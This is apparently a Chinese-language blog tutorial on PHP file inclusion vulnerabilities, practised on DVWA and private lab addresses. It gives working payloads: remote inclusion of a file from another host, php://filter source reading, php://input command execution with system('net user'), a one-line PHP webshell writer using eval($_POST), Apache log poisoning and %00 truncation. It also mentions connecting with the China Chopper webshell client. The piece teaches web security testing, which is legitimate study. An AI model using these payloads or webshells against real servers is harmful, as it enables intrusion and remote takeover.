文件包含漏洞

1.文件包含原理

程序在开发的时候,未对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马当作php执行

2.文件包含分类 

  • 本地包含

不需要条件,只要有程序代码漏洞,默认条件就可以包含漏洞

  • 远程包含

需要allow_url_include=on(开启远程包含功能)、magic_quotes_gpc=off(魔术符号关闭)

 http://10.0.0.130:91/123.php?filename=http://192.168.134.1:90/123.jpg
第一个为有包含文件的主机第二个是被攻击的

插入木马可以直接用菜刀连接 

3.包含漏洞里面的四个函数

    include    返回一条警告
    include_once
    除了原有 include 的功能以外,它还会做 once 检测,如果文件曾经已经被被包含过,不再包含
    require      一个致命的错    重要的文件
    require_once
    除了原的功能一外,会做一次 once 检测,防止文件反复被包含

这2个涵数include(),include_once()不重复加载,require()和require_once()遇到错误退出

4.如何快速挖掘包含漏洞 

审计(白盒测试)直接在源代码里搜索这四个函数 include,include_once,require,require_once

渗透测试(黑盒测试)看参数,如果不是脚本的形式被解析成脚本就是有包含函数

5.包含漏洞能做什么 

读文件     有特殊字符一定要转换为baes64

例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
    换为low 

 更改这里,进行编码

修改过后的   php://filter/read=convert.base64-encode/resource=../view_help.php

右边的内容经过base64加密,需要解码

 写文件/命令执行
 注意:只有在allow _url_include为on的时候才可以使用

 http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:<?php system('net user');?>

 执行成功

一句话木马写入方法:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
 写一句话木马

访问的是当前路径(写木马的地址)

直接用菜刀连接即可 

包含绕过

  • 包含日志文件   \logs\access.log

写入一句话要在burp写入,在搜索会被编码
 没有日志文件

配置文件的这两个去掉井号

是空的

 http://10.0.0.130:91/dvwa/%3C?php%20@eval($_POST[%27123%27]);?%3E  传入一句话木马

http://10.0.0.130:91/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log

 <?php  phpinfo(); ?>

不会被执行,因为被编码了

 在burp内输入语句

访问日志文件就可以直接访问语句输入的

  • 截断包含(%00)

       这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题

 <?php
    if(isset($_GET['page'])){
        include $_GET['page'] .".php" ;
    }else{
        include 'home.php';
    }
?>
##写入记事本

http://10.0.0.130:91/2.php?page=phpinfo.jpg  进行拼接(无法访问)

  切换低版本

http://10.0.0.130:91/2.php?page=phpinfo.jpg.php

 http://10.0.0.130:91/2.php?page=phpinfo.jpg%00

  •     不同协议绕过

        http/https
        File
        php
        ssh2

 6.修复


 对文件严格过滤,写死

  • 15
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值